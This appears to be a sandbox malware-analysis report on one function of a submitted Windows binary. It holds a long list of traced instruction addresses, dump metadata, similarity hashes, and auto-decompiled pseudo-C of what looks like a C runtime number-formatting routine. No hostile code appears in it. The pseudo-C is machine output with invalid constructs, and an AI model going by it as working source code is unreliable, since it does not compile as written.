0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434827
0x00434827
0x0043482e
0x00434831
0x0043485b
0x0043485e
0x0043485e
0x00434861
0x00434868
0x00434868
0x0043486c
0x00434833
0x00434833
0x0043483f
0x00434842
0x00434846
0x00434848
0x0043484b
0x0043484b
0x0043484e
0x00434854
0x00434856
0x00434856
0x00434859
0x00000000
0x00000000
0x00434874
0x00434874
0x00000000
0x00000000
0x00434880
0x00434880
0x00434887
0x0043488a
0x004348aa
0x004348ad
0x004348ad
0x004348b7
0x004348b7
0x004348bb
0x0043488c
0x0043488c
0x00434898
0x0043489b
0x0043489f
0x004348a1
0x004348a1
0x004348a8
0x00000000
0x00000000
0x004348c3
0x004348c3
0x004348ca
0x004348d6
0x004348d9
0x004348df
0x004348e6
0x004349f9
0x00000000
0x004349f9
0x004348ec
0x004348ec
0x004348f2
0x004348f2
0x004348f9
0x00000000
0x0043492f
0x0043492f
0x00434932
0x00434935
0x00434938
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x0043498e
0x0043498e
0x00434991
0x00434994
0x00434997
0x004349d0
0x004349e1
0x00000000
0x004349e1
0x00434999
0x00434999
0x0043499c
0x0043499f
0x004349a2
0x00000000
0x00000000
0x004349a4
0x004349a4
0x004349a7
0x004349aa
0x004349ad
0x00000000
0x00000000
0x004349af
0x004349af
0x004349b2
0x004349b5
0x004349b8
0x00000000
0x00000000
0x004349ba
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x00000000
0x00000000
0x004349c5
0x004349c5
0x004349c8
0x004349cb
0x004349ce
0x004349d2
0x00000000
0x004349d2
0x00000000
0x004349ce
0x0043496b
0x0043496b
0x0043496e
0x00434972
0x00434975
0x00000000
0x00434977
0x0043497a
0x0043497d
0x00434980
0x00434983
0x00434989
0x00000000
0x00434989
0x00434975
0x0043493a
0x0043493a
0x0043493d
0x00434941
0x00434944
0x00000000
0x00434946
0x00434949
0x0043494c
0x0043494f
0x00434952
0x00434958
0x00000000
0x00434958
0x00000000
0x004349e3
0x004349e6
0x004349e9
0x00000000
0x00000000
0x00434900
0x00434900
0x00434903
0x00434906
0x00434909
0x00434921
0x00434924
0x00434924
0x00434927
0x0043490b
0x0043490e
0x00434911
0x00434917
0x0043491c
0x0043491c
0x00000000
0x00000000
0x004349ee
0x004349ee
0x004349f1
0x004349f1
0x004349f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349fe
0x004349fe
0x00434a05
0x00434a11
0x00434a14
0x00434a1a
0x00434a21
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434a27
0x00434a2d
0x00434a2d
0x00434a34
0x00000000
0x00434d8e
0x00434d8e
0x00434d95
0x00434d9c
0x00434d9c
0x00434d9f
0x00000000
0x00000000
0x00434a3b
0x00434a3e
0x00434a3e
0x00434a44
0x00434a46
0x00434a49
0x00434a49
0x00434a4e
0x00434a4e
0x00000000
0x00000000
0x00434b7b
0x00434b7e
0x00434b7e
0x00434b83
0x00434b85
0x00434b88
0x00434b88
0x00434b8e
0x00434b8e
0x00000000
0x00000000
0x00434f5b
0x00434f5b
0x00000000
0x00000000
0x00434ae5
0x00434ae5
0x00434af1
0x00434af7
0x00434afe
0x00434b0c
0x00434b0c
0x00434b12
0x00434b15
0x00434b21
0x00434b76
0x00000000
0x00434b76
0x00434b00
0x00434b00
0x00434b06
0x00434b0a
0x00434b26
0x00434b29
0x00434b29
0x00434b2f
0x00434b57
0x00434b5e
0x00434b64
0x00434b67
0x00434b6a
0x00434b70
0x00434b73
0x00434b31
0x00434b31
0x00434b37
0x00434b3a
0x00434b3d
0x00434b43
0x00434b46
0x00434b49
0x00434b4b
0x00434b4e
0x00434b4e
0x00000000
0x00434b2f
0x00000000
0x00000000
0x00434da5
0x00434da8
0x00434dab
0x00434dae
0x00434db4
0x00434db7
0x00434dbe
0x00434dc2
0x00434dcd
0x00434dcd
0x00434dd1
0x00434de8
0x00434de8
0x00434def
0x00434df1
0x00434df1
0x00434df8
0x00434df8
0x00434dff
0x00434e10
0x00434e1f
0x00434e22
0x00434e26
0x00434e3c
0x00434e28
0x00434e28
0x00434e2b
0x00434e31
0x00434e37
0x00434e37
0x00434e26
0x00434e46
0x00434e49
0x00434e4c
0x00434e4f
0x00434e52
0x00434e55
0x00434e5b
0x00434e61
0x00434e69
0x00434e6a
0x00434e6d
0x00434e6e
0x00434e71
0x00434e72
0x00434e79
0x00434e7a
0x00434e7d
0x00434e7e
0x00434e81
0x00434e82
0x00434e88
0x00434e89
0x00434e97
0x00434e99
0x00434e9f
0x00434e9f
0x00434ea5
0x00434ea7
0x00434eab
0x00434ead
0x00434eb5
0x00434eb6
0x00434eb9
0x00434eba
0x00434ec8
0x00434eca
0x00434eca
0x00434eab
0x00434ecd
0x00434ed4
0x00434ed7
0x00434edc
0x00434edc
0x00434ee2
0x00434ee4
0x00434eec
0x00434eed
0x00434ef0
0x00434ef1
0x00434f00
0x00434f02
0x00434f02
0x00434ee2
0x00434f05
0x00434f08
0x00434f0b
0x00434f0e
0x00434f13
0x00434f19
0x00434f1c
0x00434f1f
0x00434f1f
0x00434f22
0x00434f22
0x00434f25
0x00434f31
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00435242
0x00434dd3
0x00434dd3
0x00434dda
0x00434ddd
0x00000000
0x00000000
0x00434ddf
0x00434ddf
0x00000000
0x00434ddf
0x00434dc4
0x00434dc4
0x00000000
0x00000000
0x00434a51
0x00434a54
0x00434a54
0x00434a5a
0x00434ab5
0x00434abd
0x00434ac4
0x00434aca
0x00434ad0
0x00434a5c
0x00434a5c
0x00434a66
0x00434a6a
0x00434a72
0x00434a79
0x00434a86
0x00434a8d
0x00434a99
0x00434a9f
0x00434aa6
0x00434aa8
0x00434aa8
0x00434aaf
0x00434ad7
0x00434add
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00000000
0x00000000
0x00434c97
0x00434c97
0x00434ca3
0x00434ca9
0x00434cae
0x00434cb0
0x00434d5a
0x00434d5d
0x00434d5d
0x00434d60
0x00434d74
0x00434d7a
0x00434d80
0x00434d62
0x00434d62
0x00434d6f
0x00434d6f
0x00434d82
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434cb6
0x00434cb6
0x00434cb6
0x00434cb8
0x00434cc6
0x00434cba
0x00434cba
0x00434cba
0x00434cd0
0x00434cd6
0x00434cdc
0x00434ce3
0x00434ce5
0x00434cea
0x00434cec
0x00434cf1
0x00434cf6
0x00434cf8
0x00434cfd
0x00434d00
0x00434d03
0x00434d05
0x00434d05
0x00434d03
0x00434d06
0x00434d0d
0x00434d55
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00434d0f
0x00434d0f
0x00434d14
0x00434d30
0x00434d38
0x00434d42
0x00434d45
0x00434d4a
0x00000000
0x00434d4a
0x00000000
0x00434f9c
0x00434f9c
0x00434fa6
0x00434fa6
0x00434fac
0x00434fae
0x00434fb1
0x00434fb1
0x00434fb7
0x00434fb7
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b91
0x00434b91
0x00434b95
0x00434ba3
0x00434ba6
0x00434b97
0x00434b97
0x00434b97
0x00434bac
0x00434bb2
0x00434bb8
0x00434bc4
0x00434bca
0x00434bca
0x00434bd0
0x00434c37
0x00434c37
0x00434c3b
0x00434c3d
0x00434c43
0x00434c43
0x00434c46
0x00434c49
0x00434c4f
0x00434c4f
0x00434c4f
0x00434c5b
0x00434c5e
0x00434c64
0x00434c66
0x00000000
0x00000000
0x00434c68
0x00434c68
0x00434c6e
0x00434c71
0x00434c73
0x00000000
0x00000000
0x00434c75
0x00434c7b
0x00434c7e
0x00434c7e
0x00434c86
0x00434c86
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00434bd2
0x00434bd2
0x00434bd2
0x00434bd6
0x00434bd8
0x00434bdd
0x00434bdd
0x00434be0
0x00434be7
0x00434bea
0x00434bf0
0x00434bf0
0x00434bf0
0x00434bfc
0x00434bff
0x00434c05
0x00434c07
0x00000000
0x00000000
0x00434c09
0x00434c09
0x00434c0f
0x00434c12
0x00434c14
0x00000000
0x00000000
0x00434c16
0x00434c1c
0x00434c1f
0x00434c1f
0x00434c27
0x00434c2d
0x00434c30
0x00434c32
0x00434c92
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00000000
0x00434f4b
0x00434f4b
0x00434fba
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00435096
0x00000000
0x00434f67
0x00434f67
0x00434f71
0x00434f71
0x00434f7b
0x00434f7b
0x00434f81
0x00434f83
0x00434f8d
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00434fba
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00435096
0x00000000
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00000000
0x00434801
0x00434804
0x00434807
0x00000000
0x00000000
0x0043480c
0x0043480f
0x00434814
0x00000000
0x00000000
0x004347f6
0x004347f6
0x004347f9
0x004347fc
0x00000000
0x00000000
0x004347eb
0x004347ee
0x004347f1
0x00000000
0x00000000
0x00434819
0x00434819
0x0043481c
0x0043481c
0x0043481f
0x00000000
0x00000000
0x00434822
0x00000000
0x00000000
0x004345be
0x004345c0
0x004345ce
0x004345c2
0x004345c2
0x004345c2
0x004345d8
0x004345de
0x004345eb
0x004345ed
0x004345f2
0x004345f4
0x004345f9
0x004345fe
0x00434600
0x00434605
0x0043460b
0x0043460d
0x0043460d
0x0043460b
0x0043460e
0x00434615
0x00000000
0x00434617
0x0043461c
0x00434638
0x00434640
0x0043464d
0x00434652
0x00435511
0x0043551e
0x0043551e
0x00434615
0x004345b8
0x0043544d
0x0043544d
0x00435454
0x0043546b
0x0043546b
0x00435475
0x00435475
0x0043547b
0x00435481
0x00435488
0x0043548a
0x0043548f
0x00435491
0x00435496
0x0043549b
0x0043549d
0x004354a2
0x004354a5
0x004354a8
0x004354aa
0x004354aa
0x004354a8
0x004354ab
0x004354b2
0x004354fd
0x00435506
0x0043550b
0x004354b4
0x004354b9
0x004354d5
0x004354dd
0x004354ea
0x004354ef
0x004354ef
0x00000000
0x004354b2
0x00435456
0x00435456
0x0043545d
0x00000000
0x00000000
0x0043545f
0x0043545f
0x00000000
0x0043545f
0x00435242
0x00435219
0x00435219
0x0043521d
0x0043522a
0x0043522d
0x00435230
0x00435233
0x00435236
0x00435239
0x0043523c
0x0043523c
0x0043523f
0x00000000
0x0043523f
0x0043521f
0x0043521f
0x00435222
0x00435225
0x00435228
0x00000000
0x00000000
0x00000000
0x00435228
0x00435181
0x00435181
0x00435184
0x00435187
0x0043518e
0x00435195
0x0043519d
0x004351a3
0x004351a6
0x004351a9
0x004351b0
0x004351bc
0x004351c2
0x004351c8
0x004351cf
0x004351d1
0x004351d7
0x004351d7
0x004351dd
0x004351dd
0x004351e3
0x004351e6
0x004351ec
0x004351f1
0x004351f4
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00000000
0x00435171
0x00435163
0x004350a3
0x004350a3
0x004350aa
0x00000000
0x00000000
0x00000000
0x004350d8
0x004350d8
0x004350de
0x004350e4
0x004350ea
0x00000000
0x004350ea
0x00434fba
0x00434f71
0x00434f5b

APIs

_get_int64_arg.LIBCMTD ref: 00434FC8
__aullrem.LIBCMT ref: 00435195
__aulldiv.LIBCMT ref: 004351B7

Strings

9, xrefs: 004351C8
0, xrefs: 00434F83

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: 5f5f13fec92a8da527fb19d6bd79461a118e05230c5d482b43e58c154c16cff1
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: ED4105B1D05629DFDF24CF48CC99BAEB7B5BB48304F24919AD408A7240C7386E84CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043C379, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C379(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043CAA0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043CAE0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CAA0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043CAE0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041AE00(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AE00(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B540(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043CA40( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043CAA0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C4F0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C934))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043CA40( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
